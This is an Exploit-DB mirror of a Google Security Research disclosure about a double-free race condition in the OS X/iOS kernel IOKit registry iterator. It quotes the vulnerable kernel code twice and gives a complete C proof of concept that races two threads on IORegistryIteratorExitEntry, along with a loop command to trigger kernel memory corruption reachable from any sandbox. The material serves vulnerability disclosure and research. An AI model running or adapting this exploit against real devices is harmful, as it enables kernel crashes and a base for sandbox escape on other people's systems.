Apple Mac OSX / iOS Kernel – iokit Registry Iterator Manipulation Double-Free

  • 作者: Google Security Research
    日期: 2016-01-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39366/
  • /*
    Source: https://code.google.com/p/google-security-research/issues/detail?id=598
    
    The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
    
    kern_return_t is_io_registry_iterator_exit_entry(
     io_object_t iterator )
    {
    booldidIt;
    
    CHECK( IORegistryIterator, iterator, iter );
    
    didIt = iter->exitEntry();
    
    return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
    }
    
    exitExtry is defined as follows:
    
    bool IORegistryIterator::exitEntry( void )
    {
    IORegCursor * gone;
    
    if( where->iter) {
    where->iter->release();
    where->iter = 0;
    if( where->current)// && (where != &start))
    where->current->release();
    }
    
    if( where != &start) {
    gone = where;
    where = gone->next;
    IOFree( gone, sizeof(IORegCursor));
    return( true);
    
    } else
    return( false);
    }
    
    There are multiple concurrency hazards here; for example a double free of where if two threads
    enter at the same time.
    
    These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
    on OS X and iOS.
    
    Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
    
    Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
    
    repro: while true; do ./ioparallel_regiter; done
    
    */
    
    // ianbeer
    
    // clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit
    /*
    OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation
    
    The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
    
    kern_return_t is_io_registry_iterator_exit_entry(
     io_object_t iterator )
    {
    booldidIt;
    
    CHECK( IORegistryIterator, iterator, iter );
    
    didIt = iter->exitEntry();
    
    return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
    }
    
    exitExtry is defined as follows:
    
    bool IORegistryIterator::exitEntry( void )
    {
    IORegCursor * gone;
    
    if( where->iter) {
    where->iter->release();
    where->iter = 0;
    if( where->current)// && (where != &start))
    where->current->release();
    }
    
    if( where != &start) {
    gone = where;
    where = gone->next;
    IOFree( gone, sizeof(IORegCursor));
    return( true);
    
    } else
    return( false);
    }
    
    There are multiple concurrency hazards here; for example a double free of where if two threads
    enter at the same time.
    
    These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
    on OS X and iOS.
    
    Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
    
    Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
    
    repro: while true; do ./ioparallel_regiter; done
    */ 
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #include <mach/mach.h>
    #include <mach/thread_act.h>
    
    #include <pthread.h>
    #include <unistd.h>
    
    #include <IOKit/IOKitLib.h>
    
    int start = 0;
    
    void exit_it(io_iterator_t iter) {
    IORegistryIteratorExitEntry(iter);
    }
    
    void go(void* arg){
    
    while(start == 0){;}
    
    usleep(1);
    
    exit_it(*(io_iterator_t*)arg);
    }
    
    int main(int argc, char** argv) {
    kern_return_t err;
    io_iterator_t iter;
    
    err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);
    if (err != KERN_SUCCESS) {
    printf("can't create reg iterator\n");
    return 0;
    }
    
    IORegistryIteratorEnterEntry(iter);
    
    pthread_t t;
    io_connect_t arg = iter;
    pthread_create(&t, NULL, (void*) go, (void*) &arg);
    
    usleep(100000);
    
    start = 1;
    
    exit_it(iter);
    
    pthread_join(t, NULL);
    
    return 0;
    }